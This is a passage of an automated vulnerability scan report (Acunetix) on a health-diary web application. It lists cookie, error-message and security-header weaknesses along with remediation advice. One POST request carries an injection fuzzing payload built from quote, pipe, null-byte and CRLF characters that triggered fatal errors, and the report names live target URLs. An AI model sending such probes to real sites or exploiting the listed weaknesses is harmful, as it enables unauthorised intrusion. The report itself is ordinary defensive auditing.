User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36
```

Cookies with missing, inconsistent or contradictory properties

Severity	**Low**
Reported by module	/RPA/Cookie_Validator.js

Description

At least one of the following cookies properties causes the cookie to be invalid or incompatible with either a different property of the same cookie, of with the environment the cookie is being used in. Although this is not a vulnerability in itself, it will likely lead to unexpected behavior by the application, which in turn may cause secondary security issues.

Impact

Cookies will not be stored, or submitted, by web browsers.

Recommendation

Ensure that the cookies configuration complies with the applicable standards.

References

MDN | Set-Cookie (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie)
Securing cookies with cookie prefixes (https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/)
Cookies: HTTP State Management Mechanism (https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05)
SameSite Updates - The Chromium Projects (https://www.chromium.org/updates/same-site)
draft-west-first-party-cookies-07: Same-site Cookies (https://tools.ietf.org/html/draft-west-first-party-cookies-07)

Affected items

Web Server

Verified vulnerability

Details

List of cookies with missing, inconsistent or contradictory properties:

- https://audit.icmr.org.in/healthdiary/form1.php

  Cookie was set with:

  ```
  Set-Cookie: PHPSESSID=d1b5e543fb42e756cab7d806e3af03ed; path=/; HTTPOnly; Secure
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply different and someti
  ```

- https://audit.icmr.org.in/healthdiary/form1.php

  Cookie was set with:

  ```
  Set-Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58; path=/; HTTPOnly; Secure
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply different and someti
  ```

Request headers

```
GET /healthdiary/form1.php HTTP/1.1

Host: audit.icmr.org.in

Pragma: no-cache

Cache-Control: no-cache

accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.7

accept-language: en-US

upgrade-insecure-requests: 1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://audit.icmr.org.in/

Accept-Encoding: gzip,deflate,br

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36
```

Programming Error Messages

Severity	**Low**
Reported by module	/Scripts/PerScheme/Error_Message.script

Description

This alert requires manual confirmation

Acunetix found one or more error/warning messages. Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.
These messages may also contain the location of the file that produced an unhandled exception.
Consult the 'Attack details' section for more information about the affected page(s).

Impact

Error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Verify that these page(s) are disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

References

PHP Runtime Configuration (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
Improper Error Handling (https://www.owasp.org/index.php/Improper_Error_Handling)

Affected items

Web Server
Details
Application error messages: • https://audit.icmr.org.in/healthdiary/find.php **Fatal error** • https://audit.icmr.org.in/healthdiary/findhindi.php **Fatal error**
Request headers

```
POST /healthdiary/find.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: https://audit.icmr.org.in/healthdiary/

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Content-Length: 73

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive



StudyUID=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡&name=pHqghUme&submit=
```

Content Security Policy (CSP) Not Implemented

Severity	**Informational**
Reported by module	/httpdata/CSP_not_implemented.js

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define

lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:

```
Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://code.jquery.com;
```

It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Impact

CSP can be used to prevent and/or mitigate attacks that involve content/code injection, such as cross-site scripting/XSS attacks, attacks that require embedding a malicious resource, attacks that involve malicious use of iframes, such as clickjacking attacks, and others.

Recommendation

It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.

References

Content Security Policy (CSP) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
Implementing Content Security Policy (https://hacks.mozilla.org/2016/02/implementing-content-security-policy/)

Affected items

Web Server
Details
Paths without CSP header: • https://audit.icmr.org.in/healthdiary/css/ • https://audit.icmr.org.in/healthdiary/css/form.css
Request headers

```
GET /healthdiary/css/ HTTP/1.1

Referer: https://audit.icmr.org.in/healthdiary/css/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive
```

data: Used in a Content Security Policy (CSP) Directive

Severity	**Informational**
Reported by module	/httpdata/content_security_policy.js

Description

Acunetix evaluated the scan target's Content Security Policies, checked for misconfigurations and potentially unintended side-effects of otherwise valid configurations, and offers the following suggestions on how to change existing policies for improved security and maximum compatibility.

Impact

Consult References for more information.

Recommendation

See alert details for available remediation advice.

References

Using Content Security Policy (CSP) to Secure Web Applications (https://www.invicti.com/blog/web-security/content-security-policy/)
The dangers of incorrect CSP implementations (https://www.invicti.com/blog/web-security/negative-impact-incorrect-csp-implementations/)
Leverage Browser Security Features to Secure Your Website (https://www.invicti.com/blog/web-security/leverage-browser-security-features-secure-website/)

Affected items

Web Server
Verified vulnerability
Details

- **data: Used in a Content Security Policy (CSP) Directive**
  - **First observed on:** https://audit.icmr.org.in/healthdiary/selectlang.php
  - **CSP Value:** img-src 'self' data:;
  - **CSP Source:** header
  - **Summary:** Acunetix detected data: use in a CSP directive.
  - **Impact:** An attacker can bypass CSP and exploit a Cross-site Scripting vulnerability successfully by using data: protocol.
  - **Remediation:** Remove data: sources from your CSP directives.
  - **References:**
    - N/A

Request headers

```
GET /healthdiary/selectlang.php HTTP/1.1

Host: audit.icmr.org.in

Pragma: no-cache

Cache-Control: no-cache

accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.7

accept-language: en-US

upgrade-insecure-requests: 1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://audit.icmr.org.in/

Accept-Encoding: gzip,deflate,br

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36
```

Missing object-src in CSP Declaration

Severity	**Informational**
Reported by module	/httpdata/content_security_policy.js

Description

Acunetix evaluated the scan target's Content Security Policies, checked for misconfigurations and potentially unintended side-effects of otherwise valid configurations, and offers the following suggestions on how to change existing policies for improved security and maximum compatibility.

Impact

Consult References for more information.

Recommendation

See alert details for available remediation advice.

References

Using Content Security Policy (CSP) to Secure Web Applications (https://www.invicti.com/blog/web-security/content-security-policy/)
The dangers of incorrect CSP implementations (https://www.invicti.com/blog/web-security/negative-impact-incorrect-csp-implementations/)
Leverage Browser Security Features to Secure Your Website (https://www.invicti.com/blog/web-security/leverage-browser-security-features-secure-website/)

Affected items

Web Server
Verified vulnerability
Details
• **Missing object-src in CSP Declaration** ◦ **First observed on:** https://audit.icmr.org.in/healthdiary/selectlang.php ◦ **CSP Value:** img-src 'self' data:; ◦ **CSP Source:** header ◦ **Summary:** Acunetix detected that object-src is missed in CSP declaration. It allows the injection of plugins which can execute JavaScript. ◦ **Impact:** N/A ◦ **Remediation:** Set object-src to 'none' in CSP declaration: Content-Security-Policy: object-src 'none'; ◦ **References:** ▪ N/A
Request headers

```
GET /healthdiary/selectlang.php HTTP/1.1

Host: audit.icmr.org.in

Pragma: no-cache

Cache-Control: no-cache

accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.7

accept-language: en-US

upgrade-insecure-requests: 1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://audit.icmr.org.in/

Accept-Encoding: gzip,deflate,br

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36
```

Permissions-Policy header not implemented

Severity	**Informational**
Reported by module	/httpdata/permissions_policy.js

Description

The Permissions-Policy header allows developers to selectively enable and disable use of various browser features and APIs.

Impact

Recommendation

References

Permissions-Policy / Feature-Policy (MDN) (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy)
Permissions Policy (W3C) (https://www.w3.org/TR/permissions-policy-1/)

Affected items

Web Server

Details

Locations without Permissions-Policy header:

- https://audit.icmr.org.in/healthdiary/css/
- https://audit.icmr.org.in/healthdiary/css/form.css

Request headers

```
GET /healthdiary/css/ HTTP/1.1

Referer: https://audit.icmr.org.in/healthdiary/css/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive
```

Scanned items (coverage report)

https://audit.icmr.org.in/
https://audit.icmr.org.in/healthdiary/
https://audit.icmr.org.in/healthdiary/button.css
https://audit.icmr.org.in/healthdiary/css/
https://audit.icmr.org.in/healthdiary/css/form.css
https://audit.icmr.org.in/healthdiary/find.php
https://audit.icmr.org.in/healthdiary/findhindi.php
https://audit.icmr.org.in/healthdiary/form1.php
https://audit.icmr.org.in/healthdiary/hindiform1.php
https://audit.icmr.org.in/healthdiary/selectlang.php
https://audit.icmr.org.in/healthdiary/selectlanghindi.php
https://audit.icmr.org.in/healthdiary/style.css